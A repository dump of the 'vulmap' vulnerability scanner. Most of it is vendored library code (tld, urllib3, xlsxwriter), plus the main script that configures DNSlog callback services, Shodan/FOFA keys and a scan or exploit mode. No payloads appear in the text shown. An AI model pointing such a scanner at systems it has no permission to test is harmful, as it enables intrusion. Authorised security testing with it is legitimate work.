"""TldImproperlyConfigured. 44 | 45 | Supposed to be thrown when code is improperly configured. Typical use-case 46 | is when user tries to use `get_tld` function with both `search_public` and 47 | `search_private` set to False. 48 | """ 49 | 50 | def __init__(self, msg=None): 51 | if msg is None: 52 | msg = "Improperly configured." 53 | else: 54 | msg = "Improperly configured. %s" % msg 55 | 56 | super(TldImproperlyConfigured, self).__init__(msg) 57 | -------------------------------------------------------------------------------- /thirdparty/tld/helpers.py: -------------------------------------------------------------------------------- 1 | from os.path import abspath, join 2 | 3 | from .conf import get_setting 4 | 5 | __author__ = 'Artur Barseghyan' 6 | __copyright__ = '2013-2020 Artur Barseghyan' 7 | __license__ = 'MPL-1.1 OR GPL-2.0-only OR LGPL-2.1-or-later' 8 | __all__ = ( 9 | 'project_dir', 10 | 'PROJECT_DIR', 11 | ) 12 | 13 | 14 | def project_dir(base: str) -> str: 15 | """Project dir.""" 16 | tld_names_local_path_parent = get_setting('NAMES_LOCAL_PATH_PARENT') 17 | return abspath( 18 | join(tld_names_local_path_parent, base).replace('\\', '/') 19 | ) 20 | 21 | 22 | PROJECT_DIR = project_dir 23 | -------------------------------------------------------------------------------- /thirdparty/tld/py.typed: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/zhzyker/vulmap/3694afb7a3adec0b7f7c9027aab596e7b147c585/thirdparty/tld/py.typed -------------------------------------------------------------------------------- /thirdparty/tld/registry.py: -------------------------------------------------------------------------------- 1 | from typing import Dict 2 | 3 | __author__ = 'Artur Barseghyan' 4 | __copyright__ = '2013-2020 Artur Barseghyan' 5 | __license__ = 'MPL-1.1 OR GPL-2.0-only OR LGPL-2.1-or-later' 6 | __all__ = ( 7 | 'Registry', 8 | ) 9 | 10 | 11 | class Registry(type): 12 | 13 | REGISTRY = {} # type: Dict[str, Registry] 14 | 15 | def __new__(mcs, name, bases, attrs): 16 | new_cls = type.__new__(mcs, name, bases, attrs) 17 | # Here the name of the class is used as key but it could be any class 18 | # parameter. 19 | if getattr(new_cls, '_uid', None): 20 | mcs.REGISTRY[new_cls._uid] = new_cls 21 | return new_cls 22 | 23 | @property 24 | def _uid(cls) -> str: 25 | return getattr(cls, 'uid', cls.__name__) 26 | 27 | @classmethod 28 | def reset(mcs) -> None: 29 | mcs.REGISTRY = {} 30 | 31 | @classmethod 32 | def get(mcs, key, default=None): 33 | return mcs.REGISTRY.get(key, default) 34 | 35 | @classmethod 36 | def items(mcs): 37 | return mcs.REGISTRY.items() 38 | 39 | # @classmethod 40 | # def get_registry(mcs) -> Dict[str, Type]: 41 | # return dict(mcs.REGISTRY) 42 | # 43 | # @classmethod 44 | # def pop(mcs, uid) -> None: 45 | # mcs.REGISTRY.pop(uid) 46 | -------------------------------------------------------------------------------- /thirdparty/tld/result.py: -------------------------------------------------------------------------------- 1 | from typing import Any, Dict 2 | from urllib.parse import SplitResult 3 | 4 | __author__ = 'Artur Barseghyan' 5 | __copyright__ = '2013-2020 Artur Barseghyan' 6 | __license__ = 'MPL-1.1 OR GPL-2.0-only OR LGPL-2.1-or-later' 7 | __all__ = ( 8 | 'Result', 9 | ) 10 | 11 | 12 | class Result(object): 13 | """Container.""" 14 | 15 | __slots__ = ('subdomain', 'domain', 'tld', '__fld', 'parsed_url') 16 | 17 | def __init__(self, 18 | tld: str, 19 | domain: str, 20 | subdomain: str, 21 | parsed_url: SplitResult): 22 | self.tld = tld 23 | self.domain = domain if domain != '' else tld 24 | self.subdomain = subdomain 25 | self.parsed_url = parsed_url 26 | 27 | if domain: 28 | self.__fld = f"{self.domain}.{self.tld}" 29 | else: 30 | self.__fld = self.tld 31 | 32 | @property 33 | def extension(self) -> str: 34 | """Alias of ``tld``. 35 | 36 | :return str: 37 | """ 38 | return self.tld 39 | suffix = extension 40 | 41 | @property 42 | def fld(self) -> str: 43 | """First level domain. 44 | 45 | :return: 46 | :rtype: str 47 | """ 48 | return self.__fld 49 | 50 | def __str__(self) -> str: 51 | return self.tld 52 | __repr__ = __str__ 53 | 54 | @property 55 | def __dict__(self) -> Dict[str, Any]: # type: ignore 56 | """Mimic __dict__ functionality. 57 | 58 | :return: 59 | :rtype: dict 60 | """ 61 | return { 62 | 'tld': self.tld, 63 | 'domain': self.domain, 64 | 'subdomain': self.subdomain, 65 | 'fld': self.fld, 66 | 'parsed_url': self.parsed_url, 67 | } 68 | -------------------------------------------------------------------------------- /thirdparty/tld/tests/__init__.py: -------------------------------------------------------------------------------- 1 | import unittest 2 | 3 | from .test_core import * 4 | from .test_commands import * 5 | 6 | 7 | if __name__ == '__main__': 8 | unittest.main() 9 | -------------------------------------------------------------------------------- /thirdparty/tld/tests/base.py: -------------------------------------------------------------------------------- 1 | # -*- coding: utf-8 -*- 2 | 3 | from functools import lru_cache 4 | import logging 5 | import socket 6 | 7 | __author__ = 'Artur Barseghyan' 8 | __copyright__ = '2013-2020 Artur Barseghyan' 9 | __license__ = 'MPL-1.1 OR GPL-2.0-only OR LGPL-2.1-or-later' 10 | __all__ = ( 11 | 'internet_available_only', 12 | 'log_info', 13 | ) 14 | 15 | LOG_INFO = True 16 | LOGGER = logging.getLogger(__name__) 17 | 18 | 19 | def log_info(func): 20 | """Log some useful info.""" 21 | if not LOG_INFO: 22 | return func 23 | 24 | def inner(self, *args, **kwargs): 25 | """Inner.""" 26 | result = func(self, *args, **kwargs) 27 | 28 | LOGGER.debug('\n\n%s', func.__name__) 29 | LOGGER.debug('============================') 30 | if func.__doc__: 31 | LOGGER.debug('""" %s """', func.__doc__.strip()) 32 | LOGGER.debug('----------------------------') 33 | if result is not None: 34 | LOGGER.debug(result) 35 | LOGGER.debug('\n++++++++++++++++++++++++++++') 36 | 37 | return result 38 | return inner 39 | 40 | 41 | @lru_cache(maxsize=32) 42 | def is_internet_available(host="8.8.8.8", port=53, timeout=3): 43 | """Check if internet is available. 44 | 45 | Host: 8.8.8.8 (google-public-dns-a.google.com) 46 | OpenPort: 53/tcp 47 | Service: domain (DNS/TCP) 48 | """ 49 | try: 50 | socket.setdefaulttimeout(timeout) 51 | socket.socket(socket.AF_INET, socket.SOCK_STREAM).connect((host, port)) 52 | return True 53 | except socket.error as ex: 54 | print(ex) 55 | return False 56 | 57 | 58 | def internet_available_only(func): 59 | 60 | def inner(self, *args, **kwargs): 61 | """Inner.""" 62 | if not is_internet_available(): 63 | LOGGER.debug('\n\n%s', func.__name__) 64 | LOGGER.debug('============================') 65 | if func.__doc__: 66 | LOGGER.debug('""" %s """', func.__doc__.strip()) 67 | LOGGER.debug('----------------------------') 68 | LOGGER.debug("Skipping because no Internet connection available.") 69 | LOGGER.debug('\n++++++++++++++++++++++++++++') 70 | return None 71 | 72 | result = func(self, *args, **kwargs) 73 | return result 74 | 75 | return inner 76 | -------------------------------------------------------------------------------- /thirdparty/tld/tests/test_commands.py: -------------------------------------------------------------------------------- 1 | # -*- coding: utf-8 -*- 2 | 3 | import logging 4 | import unittest 5 | 6 | import subprocess 7 | 8 | from .base import log_info, internet_available_only 9 | 10 | __author__ = 'Artur Barseghyan' 11 | __copyright__ = '2013-2020 Artur Barseghyan' 12 | __license__ = 'GPL 2.0/LGPL 2.1' 13 | __all__ = ('TestCommands',) 14 | 15 | LOGGER = logging.getLogger(__name__) 16 | 17 | 18 | class TestCommands(unittest.TestCase): 19 | """Tld commands tests.""" 20 | 21 | def setUp(self): 22 | """Set up.""" 23 | 24 | @internet_available_only 25 | @log_info 26 | def test_1_update_tld_names_command(self): 27 | """Test updating the tld names (re-fetch mozilla source).""" 28 | res = subprocess.check_output(['update-tld-names']).strip() 29 | self.assertEqual(res, b'') 30 | return res 31 | 32 | @internet_available_only 33 | @log_info 34 | def test_1_update_tld_names_mozilla_command(self): 35 | """Test updating the tld names (re-fetch mozilla source).""" 36 | res = subprocess.check_output(['update-tld-names', 'mozilla']).strip() 37 | self.assertEqual(res, b'') 38 | return res 39 | 40 | 41 | if __name__ == '__main__': 42 | unittest.main() 43 | -------------------------------------------------------------------------------- /thirdparty/tld/trie.py: -------------------------------------------------------------------------------- 1 | __author__ = 'Artur Barseghyan' 2 | __copyright__ = '2013-2020 Artur Barseghyan' 3 | __license__ = 'MPL-1.1 OR GPL-2.0-only OR LGPL-2.1-or-later' 4 | __all__ = ( 5 | 'Trie', 6 | 'TrieNode', 7 | ) 8 | 9 | 10 | class TrieNode(object): 11 | """Class representing a single Trie node.""" 12 | 13 | __slots__ = ('children', 'exception', 'leaf', 'private') 14 | 15 | def __init__(self): 16 | self.children = None 17 | self.exception = None 18 | self.leaf = False 19 | self.private = False 20 | 21 | 22 | class Trie(object): 23 | """An adhoc Trie data structure to store tlds in reverse notation order.""" 24 | 25 | def __init__(self): 26 | self.root = TrieNode() 27 | self.__nodes = 0 28 | 29 | def __len__(self): 30 | return self.__nodes 31 | 32 | def add(self, tld: str, private: bool = False) -> None: 33 | node = self.root 34 | 35 | # Iterating over the tld parts in reverse order 36 | # for part in reversed(tld.split('.')): 37 | tld_split = tld.split('.') 38 | tld_split.reverse() 39 | for part in tld_split: 40 | 41 | if part.startswith('!'): 42 | node.exception = part[1:] 43 | break 44 | 45 | # To save up some RAM, we initialize the children dict only 46 | # when strictly necessary 47 | if node.children is None: 48 | node.children = {} 49 | child = TrieNode() 50 | else: 51 | child = node.children.get(part) 52 | if child is None: 53 | child = TrieNode() 54 | 55 | node.children[part] = child 56 | 57 | node = child 58 | 59 | node.leaf = True 60 | 61 | if private: 62 | node.private = True 63 | 64 | self.__nodes += 1 65 | -------------------------------------------------------------------------------- /thirdparty/urllib3/_version.py: -------------------------------------------------------------------------------- 1 | # This file is protected via CODEOWNERS 2 | __version__ = "1.26.3" 3 | -------------------------------------------------------------------------------- /thirdparty/urllib3/contrib/__init__.py: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/zhzyker/vulmap/3694afb7a3adec0b7f7c9027aab596e7b147c585/thirdparty/urllib3/contrib/__init__.py -------------------------------------------------------------------------------- /thirdparty/urllib3/contrib/_appengine_environ.py: -------------------------------------------------------------------------------- 1 | """ 2 | This module provides means to detect the App Engine environment. 3 | """ 4 | 5 | import os 6 | 7 | 8 | def is_appengine(): 9 | return is_local_appengine() or is_prod_appengine() 10 | 11 | 12 | def is_appengine_sandbox(): 13 | """Reports if the app is running in the first generation sandbox. 14 | 15 | The second generation runtimes are technically still in a sandbox, but it 16 | is much less restrictive, so generally you shouldn't need to check for it. 17 | see https://cloud.google.com/appengine/docs/standard/runtimes 18 | """ 19 | return is_appengine() and os.environ["APPENGINE_RUNTIME"] == "python27" 20 | 21 | 22 | def is_local_appengine(): 23 | return "APPENGINE_RUNTIME" in os.environ and os.environ.get( 24 | "SERVER_SOFTWARE", "" 25 | ).startswith("Development/") 26 | 27 | 28 | def is_prod_appengine(): 29 | return "APPENGINE_RUNTIME" in os.environ and os.environ.get( 30 | "SERVER_SOFTWARE", "" 31 | ).startswith("Google App Engine/") 32 | 33 | 34 | def is_prod_appengine_mvms(): 35 | """Deprecated.""" 36 | return False 37 | -------------------------------------------------------------------------------- /thirdparty/urllib3/contrib/_securetransport/__init__.py: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/zhzyker/vulmap/3694afb7a3adec0b7f7c9027aab596e7b147c585/thirdparty/urllib3/contrib/_securetransport/__init__.py -------------------------------------------------------------------------------- /thirdparty/urllib3/filepost.py: -------------------------------------------------------------------------------- 1 | from __future__ import absolute_import 2 | 3 | import binascii 4 | import codecs 5 | import os 6 | from io import BytesIO 7 | 8 | from .fields import RequestField 9 | from .packages import six 10 | from .packages.six import b 11 | 12 | writer = codecs.lookup("utf-8")[3] 13 | 14 | 15 | def choose_boundary(): 16 | """ 17 | Our embarrassingly-simple replacement for mimetools.choose_boundary. 18 | """ 19 | boundary = binascii.hexlify(os.urandom(16)) 20 | if not six.PY2: 21 | boundary = boundary.decode("ascii") 22 | return boundary 23 | 24 | 25 | def iter_field_objects(fields): 26 | """ 27 | Iterate over fields. 28 | 29 | Supports list of (k, v) tuples and dicts, and lists of 30 | :class:`~urllib3.fields.RequestField`. 31 | 32 | """ 33 | if isinstance(fields, dict): 34 | i = six.iteritems(fields) 35 | else: 36 | i = iter(fields) 37 | 38 | for field in i: 39 | if isinstance(field, RequestField): 40 | yield field 41 | else: 42 | yield RequestField.from_tuples(*field) 43 | 44 | 45 | def iter_fields(fields): 46 | """ 47 | .. deprecated:: 1.6 48 | 49 | Iterate over fields. 50 | 51 | The addition of :class:`~urllib3.fields.RequestField` makes this function 52 | obsolete. Instead, use :func:`iter_field_objects`, which returns 53 | :class:`~urllib3.fields.RequestField` objects. 54 | 55 | Supports list of (k, v) tuples and dicts. 56 | """ 57 | if isinstance(fields, dict): 58 | return ((k, v) for k, v in six.iteritems(fields)) 59 | 60 | return ((k, v) for k, v in fields) 61 | 62 | 63 | def encode_multipart_formdata(fields, boundary=None): 64 | """ 65 | Encode a dictionary of ``fields`` using the multipart/form-data MIME format. 66 | 67 | :param fields: 68 | Dictionary of fields or list of (key, :class:`~urllib3.fields.RequestField`). 69 | 70 | :param boundary: 71 | If not specified, then a random boundary will be generated using 72 | :func:`urllib3.filepost.choose_boundary`. 73 | """ 74 | body = BytesIO() 75 | if boundary is None: 76 | boundary = choose_boundary() 77 | 78 | for field in iter_field_objects(fields): 79 | body.write(b("--%s\r\n" % (boundary))) 80 | 81 | writer(body).write(field.render_headers()) 82 | data = field.data 83 | 84 | if isinstance(data, int): 85 | data = str(data) # Backwards compatibility 86 | 87 | if isinstance(data, six.text_type): 88 | writer(body).write(data) 89 | else: 90 | body.write(data) 91 | 92 | body.write(b"\r\n") 93 | 94 | body.write(b("--%s--\r\n" % (boundary))) 95 | 96 | content_type = str("multipart/form-data; boundary=%s" % boundary) 97 | 98 | return body.getvalue(), content_type 99 | -------------------------------------------------------------------------------- /thirdparty/urllib3/packages/__init__.py: -------------------------------------------------------------------------------- 1 | from __future__ import absolute_import 2 | 3 | from . import ssl_match_hostname 4 | 5 | __all__ = ("ssl_match_hostname",) 6 | -------------------------------------------------------------------------------- /thirdparty/urllib3/packages/backports/__init__.py: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/zhzyker/vulmap/3694afb7a3adec0b7f7c9027aab596e7b147c585/thirdparty/urllib3/packages/backports/__init__.py -------------------------------------------------------------------------------- /thirdparty/urllib3/packages/backports/makefile.py: -------------------------------------------------------------------------------- 1 | # -*- coding: utf-8 -*- 2 | """ 3 | backports.makefile 4 | ~~~~~~~~~~~~~~~~~~ 5 | 6 | Backports the Python 3 ``socket.makefile`` method for use with anything that 7 | wants to create a "fake" socket object. 8 | """ 9 | import io 10 | from socket import SocketIO 11 | 12 | 13 | def backport_makefile( 14 | self, mode="r", buffering=None, encoding=None, errors=None, newline=None 15 | ): 16 | """ 17 | Backport of ``socket.makefile`` from Python 3.5. 18 | """ 19 | if not set(mode) <= {"r", "w", "b"}: 20 | raise ValueError("invalid mode %r (only r, w, b allowed)" % (mode,)) 21 | writing = "w" in mode 22 | reading = "r" in mode or not writing 23 | assert reading or writing 24 | binary = "b" in mode 25 | rawmode = "" 26 | if reading: 27 | rawmode += "r" 28 | if writing: 29 | rawmode += "w" 30 | raw = SocketIO(self, rawmode) 31 | self._makefile_refs += 1 32 | if buffering is None: 33 | buffering = -1 34 | if buffering < 0: 35 | buffering = io.DEFAULT_BUFFER_SIZE 36 | if buffering == 0: 37 | if not binary: 38 | raise ValueError("unbuffered streams must be binary") 39 | return raw 40 | if reading and writing: 41 | buffer = io.BufferedRWPair(raw, raw, buffering) 42 | elif reading: 43 | buffer = io.BufferedReader(raw, buffering) 44 | else: 45 | assert writing 46 | buffer = io.BufferedWriter(raw, buffering) 47 | if binary: 48 | return buffer 49 | text = io.TextIOWrapper(buffer, encoding, errors, newline) 50 | text.mode = mode 51 | return text 52 | -------------------------------------------------------------------------------- /thirdparty/urllib3/packages/ssl_match_hostname/__init__.py: -------------------------------------------------------------------------------- 1 | import sys 2 | 3 | try: 4 | # Our match_hostname function is the same as 3.5's, so we only want to 5 | # import the match_hostname function if it's at least that good. 6 | if sys.version_info < (3, 5): 7 | raise ImportError("Fallback to vendored code") 8 | 9 | from ssl import CertificateError, match_hostname 10 | except ImportError: 11 | try: 12 | # Backport of the function from a pypi module 13 | from backports.ssl_match_hostname import ( # type: ignore 14 | CertificateError, 15 | match_hostname, 16 | ) 17 | except ImportError: 18 | # Our vendored copy 19 | from ._implementation import CertificateError, match_hostname # type: ignore 20 | 21 | # Not needed, but documenting what we provide. 22 | __all__ = ("CertificateError", "match_hostname") 23 | -------------------------------------------------------------------------------- /thirdparty/urllib3/util/__init__.py: -------------------------------------------------------------------------------- 1 | from __future__ import absolute_import 2 | 3 | # For backwards compatibility, provide imports that used to be here. 4 | from .connection import is_connection_dropped 5 | from .request import SKIP_HEADER, SKIPPABLE_HEADERS, make_headers 6 | from .response import is_fp_closed 7 | from .retry import Retry 8 | from .ssl_ import ( 9 | ALPN_PROTOCOLS, 10 | HAS_SNI, 11 | IS_PYOPENSSL, 12 | IS_SECURETRANSPORT, 13 | PROTOCOL_TLS, 14 | SSLContext, 15 | assert_fingerprint, 16 | resolve_cert_reqs, 17 | resolve_ssl_version, 18 | ssl_wrap_socket, 19 | ) 20 | from .timeout import Timeout, current_time 21 | from .url import Url, get_host, parse_url, split_first 22 | from .wait import wait_for_read, wait_for_write 23 | 24 | __all__ = ( 25 | "HAS_SNI", 26 | "IS_PYOPENSSL", 27 | "IS_SECURETRANSPORT", 28 | "SSLContext", 29 | "PROTOCOL_TLS", 30 | "ALPN_PROTOCOLS", 31 | "Retry", 32 | "Timeout", 33 | "Url", 34 | "assert_fingerprint", 35 | "current_time", 36 | "is_connection_dropped", 37 | "is_fp_closed", 38 | "get_host", 39 | "parse_url", 40 | "make_headers", 41 | "resolve_cert_reqs", 42 | "resolve_ssl_version", 43 | "split_first", 44 | "ssl_wrap_socket", 45 | "wait_for_read", 46 | "wait_for_write", 47 | "SKIP_HEADER", 48 | "SKIPPABLE_HEADERS", 49 | ) 50 | -------------------------------------------------------------------------------- /thirdparty/urllib3/util/proxy.py: -------------------------------------------------------------------------------- 1 | from .ssl_ import create_urllib3_context, resolve_cert_reqs, resolve_ssl_version 2 | 3 | 4 | def connection_requires_http_tunnel( 5 | proxy_url=None, proxy_config=None, destination_scheme=None 6 | ): 7 | """ 8 | Returns True if the connection requires an HTTP CONNECT through the proxy. 9 | 10 | :param URL proxy_url: 11 | URL of the proxy. 12 | :param ProxyConfig proxy_config: 13 | Proxy configuration from poolmanager.py 14 | :param str destination_scheme: 15 | The scheme of the destination. (i.e https, http, etc) 16 | """ 17 | # If we're not using a proxy, no way to use a tunnel. 18 | if proxy_url is None: 19 | return False 20 | 21 | # HTTP destinations never require tunneling, we always forward. 22 | if destination_scheme == "http": 23 | return False 24 | 25 | # Support for forwarding with HTTPS proxies and HTTPS destinations. 26 | if ( 27 | proxy_url.scheme == "https" 28 | and proxy_config 29 | and proxy_config.use_forwarding_for_https 30 | ): 31 | return False 32 | 33 | # Otherwise always use a tunnel. 34 | return True 35 | 36 | 37 | def create_proxy_ssl_context( 38 | ssl_version, cert_reqs, ca_certs=None, ca_cert_dir=None, ca_cert_data=None 39 | ): 40 | """ 41 | Generates a default proxy ssl context if one hasn't been provided by the 42 | user. 43 | """ 44 | ssl_context = create_urllib3_context( 45 | ssl_version=resolve_ssl_version(ssl_version), 46 | cert_reqs=resolve_cert_reqs(cert_reqs), 47 | ) 48 | if ( 49 | not ca_certs 50 | and not ca_cert_dir 51 | and not ca_cert_data 52 | and hasattr(ssl_context, "load_default_certs") 53 | ): 54 | ssl_context.load_default_certs() 55 | 56 | return ssl_context 57 | -------------------------------------------------------------------------------- /thirdparty/urllib3/util/queue.py: -------------------------------------------------------------------------------- 1 | import collections 2 | 3 | from ..packages import six 4 | from ..packages.six.moves import queue 5 | 6 | if six.PY2: 7 | # Queue is imported for side effects on MS Windows. See issue #229. 8 | import Queue as _unused_module_Queue # noqa: F401 9 | 10 | 11 | class LifoQueue(queue.Queue): 12 | def _init(self, _): 13 | self.queue = collections.deque() 14 | 15 | def _qsize(self, len=len): 16 | return len(self.queue) 17 | 18 | def _put(self, item): 19 | self.queue.append(item) 20 | 21 | def _get(self): 22 | return self.queue.pop() 23 | -------------------------------------------------------------------------------- /thirdparty/xlsxwriter/__init__.py: -------------------------------------------------------------------------------- 1 | __version__ = '1.3.7' 2 | __VERSION__ = __version__ 3 | from .workbook import Workbook 4 | -------------------------------------------------------------------------------- /thirdparty/xlsxwriter/compatibility.py: -------------------------------------------------------------------------------- 1 | ############################################################################### 2 | # 3 | # Python 2/3 compatibility functions for XlsxWriter. 4 | # 5 | # Copyright (c), 2013-2020, John McNamara, jmcnamara@cpan.org 6 | # 7 | 8 | import sys 9 | from decimal import Decimal 10 | from fractions import Fraction 11 | 12 | try: 13 | # For compatibility between Python 2 and 3. 14 | from StringIO import StringIO 15 | except ImportError: 16 | from io import StringIO 17 | 18 | # Types to check in Python 2/3. 19 | if sys.version_info[0] == 2: 20 | int_types = (int, long) 21 | num_types = (float, int, long, Decimal, Fraction) 22 | str_types = basestring 23 | else: 24 | int_types = (int) 25 | num_types = (float, int, Decimal, Fraction) 26 | str_types = str 27 | 28 | 29 | def force_unicode(string): 30 | """Return string as a native string""" 31 | if sys.version_info[0] == 2: 32 | if isinstance(string, unicode): 33 | return string.encode('utf-8') 34 | return string 35 | -------------------------------------------------------------------------------- /thirdparty/xlsxwriter/exceptions.py: -------------------------------------------------------------------------------- 1 | ############################################################################### 2 | # 3 | # Exceptions - A class for XlsxWriter exceptions. 4 | # 5 | # Copyright 2013-2020, John McNamara, jmcnamara@cpan.org 6 | # 7 | 8 | 9 | class XlsxWriterException(Exception): 10 | """Base exception for XlsxWriter.""" 11 | 12 | 13 | class XlsxInputError(XlsxWriterException): 14 | """Base exception for all input data related errors.""" 15 | 16 | 17 | class XlsxFileError(XlsxWriterException): 18 | """Base exception for all file related errors.""" 19 | 20 | 21 | class EmptyChartSeries(XlsxInputError): 22 | """Chart must contain at least one data series.""" 23 | 24 | 25 | class DuplicateTableName(XlsxInputError): 26 | """Worksheet table name already exists.""" 27 | 28 | 29 | class InvalidWorksheetName(XlsxInputError): 30 | """Worksheet name is too long or contains restricted characters.""" 31 | 32 | 33 | class DuplicateWorksheetName(XlsxInputError): 34 | """Worksheet name already exists.""" 35 | 36 | 37 | class UndefinedImageSize(XlsxFileError): 38 | """No size data found in image file.""" 39 | 40 | 41 | class UnsupportedImageFormat(XlsxFileError): 42 | """Unsupported image file format.""" 43 | 44 | 45 | class FileCreateError(XlsxFileError): 46 | """IO error when creating xlsx file.""" 47 | 48 | 49 | class FileSizeError(XlsxFileError): 50 | """Filesize would require ZIP64 extensions. Use workbook.use_zip64().""" 51 | -------------------------------------------------------------------------------- /version: -------------------------------------------------------------------------------- 1 | 0.9 2 | -------------------------------------------------------------------------------- /vulmap.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python3 2 | # -*- coding: utf-8 -*- 3 | # author: zhzyker 4 | # github: https://github.com/zhzyker/vulmap 5 | # If you have any problems, please give feedback to https://github.com/zhzyker/vulmap/issues 6 | from module.banner import banner 7 | print(banner()) # 显示随机banner 8 | from module.install import require 9 | require() 10 | from module.allcheck import version_check 11 | from module import globals 12 | from module.argparse import arg 13 | from module.license import vulmap_license 14 | from core.core import core 15 | from module.time import now 16 | from module.color import color 17 | from thirdparty import urllib3 18 | urllib3.disable_warnings() 19 | 20 | 21 | def config(): 22 | header = { 23 | 'Accept': 'application/x-shockwave-flash, image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, ' 24 | 'application/vnd.ms-excel, application/vnd.ms-powerpoint, application/msword, */*', 25 | 'User-agent': args.ua, 26 | 'Content-Type': 'application/x-www-form-urlencoded', 27 | 'Connection': 'close' 28 | } 29 | globals.init() # 初始化全局变量模块 30 | globals.set_value("UA", args.ua) # 设置全局变量UA 31 | globals.set_value("VUL", None) # 设置全局变量VULN用于判断是否漏洞利用模式 32 | globals.set_value("CHECK", args.check) # 目标存活检测 33 | globals.set_value("DEBUG", args.debug) # 设置全局变量DEBUG 34 | globals.set_value("DELAY", args.delay) # 设置全局变量延时时间DELAY 35 | globals.set_value("DNSLOG", args.dnslog) # 用于判断使用哪个dnslog平台 36 | globals.set_value("DISMAP", "flase") # 是否接收dismap识别结果(false/true) 37 | globals.set_value("VULMAP", str(0.9)) # 设置全局变量程序版本号 38 | globals.set_value("O_TEXT", args.O_TEXT) # 设置全局变量OUTPUT判断是否输出TEXT 39 | globals.set_value("O_JSON", args.O_JSON) # 设置全局变量OUTPUT判断是否输出JSON 40 | globals.set_value("HEADERS", header) # 设置全局变量HEADERS 41 | globals.set_value("TIMEOUT", args.TIMEOUT) # 设置全局变量超时时间TOMEOUT 42 | globals.set_value("THREADNUM", args.thread_num) # 设置全局变量THREADNUM传递线程数量 43 | 44 | # 替换自己的 ceye.io 的域名和 token 45 | globals.set_value("ceye_domain","xxxxxxxxxx") 46 | globals.set_value("ceye_token", "xxxxxxxxxx") 47 | 48 | # 替换自己的 http://hyuga.co 的域名和 token 49 | # hyuga的域名和token可写可不写,如果不写则自动获得 50 | globals.set_value("hyuga_domain", "xxxxxxxxxx") 51 | globals.set_value("hyuga_token", "xxxxxxxxxx") 52 | 53 | # fofa 邮箱和 key,需要手动修改为自己的 54 | globals.set_value("fofa_email", "xxxxxxxxxx") 55 | globals.set_value("fofa_key", "xxxxxxxxxx") 56 | 57 | # shodan key 58 | globals.set_value("shodan_key", "xxxxxxxxxx") 59 | 60 | 61 | if __name__ == '__main__': 62 | try: 63 | vulmap_license() # vulmap 用户协议及免责声明 64 | args = arg() # 初始化各选项参数 65 | config() # 加载全局变量 66 | version_check() # 检查vulmap版本 67 | core.control_options(args) # 运行核心选项控制方法用于处理不同选项并开始扫描 68 | except KeyboardInterrupt as e: 69 | print(now.timed(de=0) + color.red_warn() + color.red(" Stop scanning")) 70 | exit(0) 71 | --------------------------------------------------------------------------------